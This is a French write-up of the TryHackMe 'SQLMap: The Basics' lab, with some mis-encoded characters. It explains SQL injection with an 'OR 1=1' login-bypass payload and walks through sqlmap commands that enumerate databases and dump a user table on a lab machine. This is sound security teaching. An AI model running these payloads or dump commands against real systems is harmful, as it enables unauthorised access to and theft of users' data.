Ce document est une synthĂšse du module SQLMap: The Basics de TryHackMe, rĂ©digĂ©e en français. Il couvre les bases des injections SQL, lâutilisation de lâoutil SQLMap et propose un exercice pratique.
Une injection SQL est une technique dâattaque qui permet Ă un attaquant dâinterfĂ©rer avec les requĂȘtes SQL que lâapplication envoie Ă sa base de donnĂ©es.
Par exemple, une requĂȘte classique de connexion pourrait ressembler Ă :
SELECT * FROM users WHERE username = 'John' AND password = 'Un@detectable444';
Un attaquant pourrait manipuler cette requĂȘte en entrant :
Ce qui transformerait la requĂȘte en :
SELECT * FROM users WHERE username = 'John' AND password = 'abc' OR 1=1;-- -';
LâopĂ©rateur OR 1=1 est toujours vrai, permettant ainsi Ă lâattaquant dâaccĂ©der sans connaĂźtre le mot de passe rĂ©el.
SQLMap est un outil en ligne de commande qui automatise le processus de dĂ©tection et dâexploitation des vulnĂ©rabilitĂ©s dâinjection SQL.
Pour tester une URL, utilisez la commande suivante :
sqlmap -u "http://sqlmaptesting.thm/search?cat=1" --dbs
-u : SpĂ©cifie lâURL cible--dbs : EnumĂšre les bases de donnĂ©es disponiblesPour extraire les tables de la base de donnĂ©es members :
sqlmap -u "http://sqlmaptesting.thm/search?cat=1" -D members --tables
-D : SpĂ©cifie la base de donnĂ©es cible--tables : EnumĂšre les tables de la base de donnĂ©esDĂ©marrer la machine virtuelle et accĂ©der Ă la page de connexion Ă lâadresse :
http://MACHINE_IP/ai/login
Soumettre des identifiants fictifs pour capturer la requĂȘte GET, par exemple :
Observer la requĂȘte GET rĂ©sultante, qui devrait ressembler Ă :
http://MACHINE_IP/ai/includes/user_login?email=test&password=test
Utiliser SQLMap pour tester la vulnérabilité :
sqlmap -u "http://MACHINE_IP/ai/includes/user_login?email=test&password=test" --level=5
--level=5 : Augmente la profondeur des tests effectuésRépondre aux invites de SQLMap :
email est vulnérable : nUne fois la vulnérabilité confirmée, utiliser les commandes suivantes pour explorer la base de données :
Lister les bases de données :
sqlmap -u "http://MACHINE_IP/ai/includes/user_login?email=test&password=test" --dbs
Lister les tables de la base ai :
sqlmap -u "http://MACHINE_IP/ai/includes/user_login?email=test&password=test" -D ai --tables
Extraire les données de la table user :
sqlmap -u "http://MACHINE_IP/ai/includes/user_login?email=test&password=test" -D ai -T user --dump
-u : SpĂ©cifie lâURL cible.--dbs : EnumĂšre les bases de donnĂ©es.-D : SpĂ©cifie la base de donnĂ©es cible.--tables : EnumĂšre les tables de la base de donnĂ©es.--dump : Extrait les donnĂ©es des tables.